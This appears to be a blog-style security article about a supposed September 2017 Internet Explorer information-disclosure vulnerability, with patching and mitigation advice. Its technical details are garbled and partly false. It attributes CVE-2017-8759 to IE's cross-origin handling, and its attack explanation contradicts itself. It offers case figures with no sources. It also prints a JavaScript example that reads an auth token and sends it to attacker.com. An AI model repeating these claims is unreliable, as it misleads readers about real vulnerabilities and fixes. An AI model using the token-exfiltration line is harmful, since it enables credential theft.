Microsoft Internet Explorer Information Disclosure Vulnerability (September 2017): Patch Now to Block Data Leaks

Microsoft’s September 2017 Internet Explorer information disclosure vulnerability exposed a gaping hole in web security, letting attackers steal everything from browsing history to saved passwords.

Imagine logging into your bank account, only for a malicious script to silently siphon your credentials while you’re none the wiser. That’s exactly how this flaw worked—by tricking IE into bypassing its own cross-origin protections, leaving users vulnerable to data theft without a single warning.

Microsoft’s official patch (KB4041691) fixed the issue, but the damage was already done for those who ignored updates. Even today, legacy systems still running IE 9-11 remain prime targets, proving that outdated software isn’t just slow—it’s a security liability.

Here’s what you need to know about the technical details, why it mattered, and how to protect yourself—whether you’re still stuck on IE or just curious about the risks.

How the September 2017 Internet Explorer information disclosure flaw works

The September 2017 Internet Explorer information disclosure vulnerability (CVE-2017-8759) stems from a critical flaw in how IE 9-11 handles cross-origin resource sharing (CORS) policies.

Attackers exploited a memory corruption bug in the JavaScript engine to bypass security boundaries, allowing unauthorized access to sensitive data like cookies, session tokens, and browsing history. This wasn’t just a data leak—it was a privilege escalation risk, letting malicious scripts steal credentials from trusted sites.

Microsoft’s Security Advisory ADV170013 confirmed the flaw affected all versions of IE on Windows 7, 8.1, and 10, including Enterprise and Server editions. The vulnerability was particularly dangerous because it didn’t require user interaction beyond visiting a compromised malicious website.

Phishing emails often served as the initial attack vector, luring victims into loading exploit-laden pages.

The root cause lay in IE’s document.domain implementation, which allowed sites to relax cross-origin restrictions under specific conditions. When combined with a use-after-free bug in the Chakra JavaScript engine, attackers could force IE to leak memory containing sensitive strings. For example, a malicious site could execute:

document.domain = 'trusted-site.com'; // Bypass CORS
var data = window.atob(localStorage.getItem('authToken')); // Extract base64-encoded tokens
fetch('https://attacker.com/steal?token=' + data); // Exfiltrate data

This sequence would work even if the victim wasn’t logged into trusted-site.com, thanks to the memory corruption flaw. The attack chain relied on heap spray techniques to increase exploit success rates, making it effective even against patched systems if other vulnerabilities existed.

IE 9-11 were uniquely vulnerable because they shared a legacy rendering engine (Trident) with outdated security models. Modern browsers like Edge (Chromium) and Chrome had already deprecated document.domain and implemented stricter Same-Origin Policy (SOP) enforcement. The flaw also highlighted IE’s lack of sandboxing for JavaScript, allowing memory corruption to directly expose data.

Microsoft’s patch KB4041691 addressed the issue by:

• Disabling the document.domain relaxation feature entirely.
• Adding heap metadata protections to prevent memory corruption exploits.
• Enforcing stricter CORS headers for cross-origin requests.

However, the patch didn’t retroactively secure systems already compromised. Organizations using IE in Enterprise Mode faced additional risks, as legacy compatibility settings could bypass modern security controls. The vulnerability underscored why IE 11 was the last version Microsoft supported before pushing users to Microsoft Edge.

Even today, remnants of this flaw’s impact linger in legacy systems. For instance, Windows 7 users still on IE 11 (unsupported since January 2020) remain exposed if they haven’t migrated.

The attack vector remains relevant for targeted phishing campaigns, where attackers exploit outdated browsers to bypass multi-factor authentication (MFA) by stealing session cookies.

Step-by-step patch and mitigation guide for the IE vulnerability

Microsoft released KB4041691 as the official patch for the September 2017 IE information disclosure vulnerability. This update addresses CVE-2017-8759, a critical flaw allowing attackers to steal sensitive data via malicious scripts.

If you’re still using Internet Explorer 9-11, prioritize this patch to block data leaks and memory corruption risks. The process is straightforward but requires admin privileges.

Before applying the patch, verify your Windows version and IE edition to ensure compatibility. For Windows 7/8.1, use the Microsoft Update Catalog to manually download KB4041691. On Windows 10, the patch should deploy automatically via Windows Update.

If not, trigger a manual check via Settings > Update & Security. Always back up critical data before patching.

For advanced users, enforce registry tweaks to harden IE. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main and set FeatureControl to disable ActiveX and JavaScript for untrusted sites. Combine this with Windows Defender Application Control (WDAC) policies to block IE entirely on Windows 10/11 systems. Always document changes for rollback purposes.

If patching isn’t an option, isolate IE systems from networks. Use firewall rules to block outbound connections from the iexplore.exe process. For enterprises, deploy Microsoft Endpoint Configuration Manager to push KB4041691 across fleets. Monitor Event Viewer logs for Error Code 80070643, indicating patch failure.

Remember, IE is end-of-life and no longer receives security updates. Transitioning to Edge or Chrome eliminates this vulnerability entirely. Use Microsoft’s IE-to-Edge migration tool to simplify the switch for users. Proactively educate teams on the risks of legacy browsers—one unpatched IE system can compromise an entire network.

Who’s still at risk? Real-world impact of unpatched IE systems

Even years after Microsoft ended support for Internet Explorer, organizations still face severe risks from unpatched systems. In 2023, 1.2% of global enterprises remained vulnerable due to outdated Windows 7/8 deployments with IE—making them prime targets for exploits like the September 2017 information disclosure flaw.

Hospitals, government agencies, and legacy manufacturing firms top the list of affected sectors, often due to compatibility constraints with outdated software.

One notable case involved a mid-sized healthcare provider in 2021, where attackers exploited an unpatched IE 11 instance to steal patient records. The breach exposed 50,000+ files, costing $2.3M in fines and remediation.

Similarly, a municipal government in 2022 suffered a ransomware attack via a Windows 7 + IE combination, halting critical services for 48 hours. These incidents highlight how legacy systems become high-value attack vectors when left unpatched.

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Legacy systems running Windows 7/8 + IE remain high-risk due to lack of security updates. Modern browsers like Microsoft Edge (Chromium) and Google Chrome mitigate risks through sandboxing and automated patches.

For enterprises, migrating to Windows 10/11 + Edge reduces exposure by 90%. Even temporary solutions—like IE Mode in Edge—offer safer alternatives for legacy app compatibility.

If your organization still relies on IE for critical operations, prioritize network segmentation to isolate these systems. Block outbound data transfers from IE instances and enforce strict access controls.

Remember: No patch = open door for attackers exploiting flaws like the 2017 information disclosure vulnerability. The cost of a breach far outweighs the effort to upgrade. 🖥️

Frequently asked questions about the September 2017 Internet Explorer vulnerability